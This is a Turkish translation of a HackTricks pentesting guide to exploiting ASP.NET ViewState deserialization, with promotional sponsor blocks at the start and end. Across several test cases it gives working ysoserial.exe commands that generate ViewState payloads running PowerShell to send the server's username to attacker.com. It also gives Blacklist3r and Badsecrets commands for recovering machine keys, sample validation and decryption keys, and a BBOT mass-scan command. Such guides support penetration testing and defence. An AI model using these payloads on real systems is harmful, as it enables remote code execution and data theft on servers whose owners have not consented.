# \_\_VIEWSTATE Parametresini Bilmeden Sömürme
AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
**Ödül avcılığı ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan premium bir **ödül avcılığı platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000'e kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## ViewState Nedir
**ViewState**, ASP.NET'te sayfa ve kontrol verilerini web sayfaları arasında korumak için varsayılan mekanizma olarak hizmet verir. Bir sayfanın HTML olarak işlenmesi sırasında, sayfanın mevcut durumu ve postback sırasında korunması gereken değerler base64 kodlu dizilere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
* **Base64**:
* Bu format, `EnableViewStateMac` ve `ViewStateEncryptionMode` öznitelikleri her ikisi de false olarak ayarlandığında kullanılır.
* **Base64 + MAC (Message Authentication Code) Etkin**:
* MAC'nin etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
* **Base64 + Şifreli**:
* Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
## Test Durumları
Resim, .NET çerçeve sürümüne dayalı olarak ASP.NET'te ViewState için farklı yapılandırmaları detaylandıran bir tablodur. İşte içeriğin özeti:
1. **Herhangi bir .NET sürümü için**, MAC ve Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla tanımlamak için geçerli bir yöntem bulunmamaktadır.
2. **4.5 sürümlerinden önceki sürümler için**, MAC etkinleştirilmiş olsa da Şifreleme etkinleştirilmediğinde, bir MachineKey gereklidir. MachineKey'i tanımlamak için kullanılan yöntem "Blacklist3r" olarak adlandırılır.
3. **4.5 sürümlerinden önceki sürümler için**, MAC etkin olsun veya olmasın, Şifreleme etkin olduğunda bir MachineKey gereklidir. MachineKey'i tanımlamak, "Blacklist3r - Gelecek Gelişim" için bir görevdir.
4. **4.5 ve sonraki sürümler için**, MAC ve Şifreleme kombinasyonlarının tümü (her ikisi de true ise veya biri true diğeri false ise) bir MachineKey gerektirir. MachineKey, "Blacklist3r" kullanılarak tanımlanabilir.
### Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false
Ayrıca, `AspNetEnforceViewStateMac` kayıt defter anahtarını sıfır olarak ayarlayarak ViewStateMAC'i tamamen devre dışı bırakmak mümkündür:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState Özniteliklerini Tanımlama**
ViewState'nin MAC ile korunup korunmadığını belirlemek için bu parametreyi içeren bir isteği BurpSuite ile yakalayabilirsiniz. Eğer MAC kullanılmıyorsa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) kullanarak bunu sömürebilirsiniz.
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 – ViewState parametresi gönderilmezse
Geliştiriciler, ViewState'in bir HTTP İsteğinin bir parçası olmasını **kaldırabilir** (kullanıcı bu çerezi alamaz).\
Birisi, eğer **ViewState** **mevcut değilse**, uygulamalarının ViewState deserialization ile ortaya çıkabilecek potansiyel güvenlik açıklarından **güvenli** olduğunu varsayabilir.\
Ancak, durum böyle değildir. Eğer istek gövdesine **ViewState parametresi ekler** ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükümüzü gönderirsek, yine **Case 1**'de gösterildiği gibi **kod yürütme** başarabiliriz.
### Test Case: 2 – .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
Belirli bir aspx dosyasında **ViewState MAC'ini etkinleştirmek** için aşağıdaki değişiklikleri yapmamız gerekmektedir:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Ayrıca, aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak **genel** uygulama için de yapabiliriz:
```xml
```
Parametre MAC korumalı olduğundan, saldırıyı başarılı bir şekilde gerçekleştirmek için öncelikle kullanılan anahtarı bulmamız gerekmektedir.
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)'ı kullanmayı deneyebilirsiniz.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu yüzden Blacklist3r gibi Windows bağımlılığı yoktur. .NET viewstate'ler için, kullanımı en hızlı olan "python blacklist3r" yardımcı programı bulunmaktadır.
Görünüm durumu ve üreteci doğrudan sağlanabilir:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
Veya, hedef URL'ye doğrudan bağlanabilir ve viewstate'i HTML'den çıkarmayı deneyebilir:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Ölçeklenebilir bir şekilde zayıf viewstate'leri aramak için, alt alan adı tespiti ile birlikte `badsecrets` **BBOT** modülü kullanılabilir:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** saldırısına devam edebilirsiniz.
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
Sunucu tarafından `_VIEWSTATEGENERATOR` parametresinin **gönderilmediği** durumlarda `--generator` parametresini **belirtmenize gerek yoktur ancak bunları** sağlamanız gerekmektedir:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 – .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true
Bu durumda parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değer muhtemelen şifrelenmiştir ve zafiyeti sömürmek için **Payload'ınızı şifrelemek için Makine Anahtarına ihtiyacınız olacaktır**.
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirme aşamasındadır...**
**.NET 4.5'ten önce**, ASP.NET, **`ViewStateEncryptionMode`**'un _**Her zaman**_ olarak ayarlanmış olmasına rağmen, kullanıcılardan **şifrelenmemiş** bir \_`__VIEWSTATE`\_parametresini **kabul edebilir**. ASP.NET, sadece istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine işleme alınacaktır.**
Bu nedenle saldırganlar, Makine Anahtarını dosya gezintisi gibi başka bir zafiyet aracılığıyla elde ederlerse, ViewState deserialization zafiyetini sömürmek için [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, **Durum 2**'de kullanılan şekilde RCE gerçekleştirmek için kullanılabilir.
* ViewState deserialization zafiyetini sömürmek için istekten `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve zafiyet başarısız olacaktır.
### Test Case: 4 – .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false hariç her iki özelliğin de false olarak belirlendiği durumda
ASP.NET çerçevesinin kullanımını zorlayabiliriz, aşağıdaki gibi web.config dosyasının içine aşağıdaki parametreyi belirterek.
```xml
```
Alternatif olarak, bunu web.config dosyasının `machineKey` parametresi içinde aşağıdaki seçeneği belirterek yapabilirsiniz.
```bash
compatibilityMode="Framework45"
```
Benzer şekilde, **değer şifrelenmiştir.** Dolayısıyla, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)'ı kullanabilirsiniz:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
[IISDirPath](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) ve TargetPagePath için daha detaylı bir açıklama için buraya bakın.
Veya, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (bir üretici değeri ile):
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Geçerli bir Makine anahtarı belirlendikten sonra, **bir seri hedef oluşturmak için** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **kullanılır.**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, bu değerle `--generator` parametresini **kullanmayı** deneyebilir ve parametreleri `--path` ve `--apppath` **atlayabilirsiniz**.
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
ViewState deserialization açığının başarılı bir şekilde sömürülmesi, kullanıcı adını içeren bir saldırgan tarafından kontrol edilen bir sunucuya dışarıdan bir isteğe yol açacaktır. Bu tür bir saldırı, "Blacklist3r ve YsoSerial.NET kullanarak ViewState Deserialization Sömürülmesi" adlı bir kaynak aracılığıyla bulunabilen bir kavram kanıtında (PoC) gösterilmektedir. Sömürü sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçları nasıl kullanacağınız hakkında daha fazla ayrıntı için [Başarılı Sömürü Kavram Kanıtı](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) bağlantısına göz atabilirsiniz.
### Test Durumu 6 – ViewStateUserKeys kullanılıyor
**ViewStateUserKey** özelliği, bir **CSRF saldırısına karşı korunma** için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle **ViewState** yükünü oluşturmaya çalışırsak, **uygulama tarafından yük işlenmeyecektir**.\
Doğru şekilde yük oluşturmak için bir parametre daha kullanmanız gerekmektedir:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Başarılı Sömürü Sonucu
Tüm test durumları için, ViewState YSoSerial.Net yükü **başarılı bir şekilde** çalışıyorsa sunucu “**500 Internal server error**” yanıtı ile yanıt verir ve yanıt içeriği “**The state information is invalid for this page and might be corrupted**” olur ve OOB isteği alırız.
Daha fazla bilgi için [buraya bakın](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/\[\*\*https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\*\*]\(https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/\)/README.md)
## Referanslar
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
AWS hacklemeyi sıfırdan kahraman olmaya öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** [**katılın**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.